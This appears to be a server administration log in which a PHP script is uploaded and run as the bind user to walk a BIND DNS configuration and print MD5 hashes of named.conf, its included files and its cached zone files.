MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:25:36: Establishing a connection
2026-04-28 10:25:36: 

PUT: /tmp/pkp607046

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:25:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp607046; rm /tmp/pkp607046'

2026-04-28 10:25:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
